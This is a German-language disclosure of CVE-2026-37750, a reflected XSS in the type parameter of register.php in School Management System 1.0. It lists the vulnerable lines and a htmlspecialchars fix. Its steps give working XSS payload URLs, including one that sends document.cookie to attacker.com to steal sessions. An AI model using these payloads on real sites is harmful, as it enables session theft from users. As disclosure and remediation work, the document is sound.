
Reflektierter XSS-Proof-of-Concept für School Management System 1.0, der die nicht authentifizierte Ausführung von JavaScript über den Typ-Parameter in register.php demonstriert, einschließlich Auswirkungsanalyse und Anleitung zur Behebung.
| Feld | Info |
|---|
| CVE-ID | CVE-2026-37750 |
| Typ | Reflected Cross-Site Scripting (XSS) |
| Schweregrad | Mittel (CVSSv3: 6.1) |
| Anbieter | mahmoudai1 |
| Produkt | School Management System |
| Version | 1.0 |
| Entdecker | Varad AP Mene |
| Datum | 2026-04-16 |
| CWE | CWE-79 |
Eine Reflected Cross-Site Scripting (XSS)-Schwachstelle in School Management System 1.0 von mahmoudai1 ermöglicht es nicht authentifizierten Remote-Angreifern, beliebiges JavaScript in den Browsern der Opfer auszuführen, und zwar über den nicht bereinigten type-Parameter in register.php. Der Parameter wird ohne Escape-Behandlung innerhalb eines h1-Tags in Zeile 22 und innerhalb eines form-action-Attributs in Zeile 26 reflektiert. Für die Ausnutzung dieser Schwachstelle ist keine Authentifizierung erforderlich.
CVE-ID: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Mittel (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 ist eine PHP/MySQL-Webanwendung von mahmoudai1 auf GitHub, die zur Verwaltung von Schülern, Lehrern und Eltern in Schulen verwendet wird.
Anbieter-URL: https://github.com/mahmoudai1/school-management-system
register.php — Registrierungsformular (keine Authentifizierung erforderlich)
Zeile 22: echo ucfirst($_REQUEST['type'])
Zeile 26: echo $_REQUEST['type']
Kein htmlspecialchars() verwendet — rohe Benutzereingabe wird direkt in HTML reflektiert.
Voraussetzungen:
Schritt 1 — Browser öffnen und diese URL aufrufen: http://target/register.php?type=script-alert-document.cookie-/script
Schritt 2 — JavaScript wird im Browser ausgeführt Ergebnis: Ein Alert-Fenster erscheint und zeigt die Session-Cookies.
Schritt 3 — Cookie-Diebstahl-Payload: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Schritt 4 — Form-action-Injektions-Payload: http://target/register.php?type="-script-alert(1)-/script
Zwei Injektionspunkte bestätigt:
Injektionspunkt 1 — Innerhalb des h1-Tags (Zeile 22):
echo ucfirst($_REQUEST['type'])
Ausgabe:
<h1><script>alert(1)</script> Application</h1>
Injektionspunkt 2 — Innerhalb des form-action-Attributs (Zeile 26):
echo $_REQUEST['type']
Ausgabe:
<form action="register.php?type=<script>alert(1)</script>">
Fix für Zeile 22: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Fix für Zeile 26: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene E-Mail: [email protected] GitHub: https://github.com/menevarad007